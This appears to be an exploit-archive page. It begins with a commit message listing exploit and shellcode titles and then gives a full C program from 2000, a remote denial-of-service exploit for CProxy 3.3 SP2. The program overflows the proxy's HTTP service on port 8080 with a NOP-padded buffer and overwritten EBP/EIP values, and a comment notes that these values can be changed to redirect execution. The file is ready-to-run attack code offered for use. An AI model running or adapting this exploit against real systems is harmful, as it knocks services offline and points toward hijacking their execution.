
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
104 lines
No EOL
2.4 KiB
C
104 lines
No EOL
2.4 KiB
C
// source: https://www.securityfocus.com/bid/1213/info
|
|
|
|
A buffer overflow DoS vulnerability exists in CProxy Server 3.3 Service Pack 2
|
|
|
|
|
|
/*
|
|
* Remote Denial of Service for CProxy v3.3 - Service Pack 2
|
|
*
|
|
* (C) |[TDP]| - HaCk-13 TeaM - 2000 <tdp@psynet.net>
|
|
*
|
|
*
|
|
* This program xploits an overflow vulnerability in CProxy 3.3 SP2
|
|
* HTTP Service (8080), causing server shutdown
|
|
*
|
|
* Greetings to all the other members and all my friends :)
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
#include <netdb.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
|
|
#define BUFFERSIZE 247
|
|
#define NOP 0x90
|
|
// If you change this values you can change EIP and EBP values
|
|
// to redirect to a code that you want >;)
|
|
#define EIP 0x61616161
|
|
#define EBP 0x61616161
|
|
|
|
void usage(char *progname) {
|
|
fprintf(stderr,"Usage: %s <hostname> [eip] [ebp]\n",progname);
|
|
exit(1);
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
char *ptr,buffer[BUFFERSIZE], remotedos[1024];
|
|
unsigned long *long_ptr,eip=EIP, ebp=EBP;
|
|
int aux,sock;
|
|
struct sockaddr_in sin;
|
|
unsigned long ip;
|
|
struct hostent *he;
|
|
|
|
fprintf(stderr,"\n-= Remote DoS for CProxy v3.3 ServicePack 2 - (C) |[TDP]| - H13 Team =-\n");
|
|
|
|
if (argc<2) usage(argv[0]);
|
|
|
|
if (argc>=3) eip+=atol(argv[2]);
|
|
|
|
if (argc>=4) ebp+=atol(argv[3]);
|
|
|
|
ptr=buffer;
|
|
memset(ptr,0,sizeof(buffer));
|
|
memset(ptr,NOP,sizeof(buffer)-8);
|
|
ptr+=sizeof(buffer)-8;
|
|
long_ptr=(unsigned long*)ptr;
|
|
*(long_ptr++) = ebp;
|
|
*(long_ptr++) = eip;
|
|
ptr=(char *)long_ptr;
|
|
*ptr='\0';
|
|
|
|
bzero(remotedos, sizeof(remotedos));
|
|
snprintf(remotedos, sizeof(remotedos), "GET http://%s HTTP/1.0\r\n\r\n\r\n",buffer);
|
|
|
|
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
|
|
perror("socket()");
|
|
return -1;
|
|
}
|
|
|
|
if ((he = gethostbyname(argv[1])) != NULL) {
|
|
ip = *(unsigned long *)he->h_addr;
|
|
} else {
|
|
if ((ip = inet_addr(argv[1])) == NULL) {
|
|
perror("inet_addr()");
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
sin.sin_family = AF_INET;
|
|
sin.sin_addr.s_addr = ip;
|
|
sin.sin_port = htons(8080);
|
|
|
|
fprintf(stderr,"\nEngaged...\n");
|
|
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
|
|
perror("connect()");
|
|
return -1;
|
|
}
|
|
|
|
if (write(sock, remotedos, strlen(remotedos)) < strlen(remotedos)) {
|
|
perror("write()");
|
|
return -1;
|
|
}
|
|
|
|
fprintf(stderr,"Bye Bye baby!...\n\n");
|
|
if (close(sock) < 0) {
|
|
perror("close()");
|
|
return -1;
|
|
}
|
|
|
|
return(0);
|
|
} |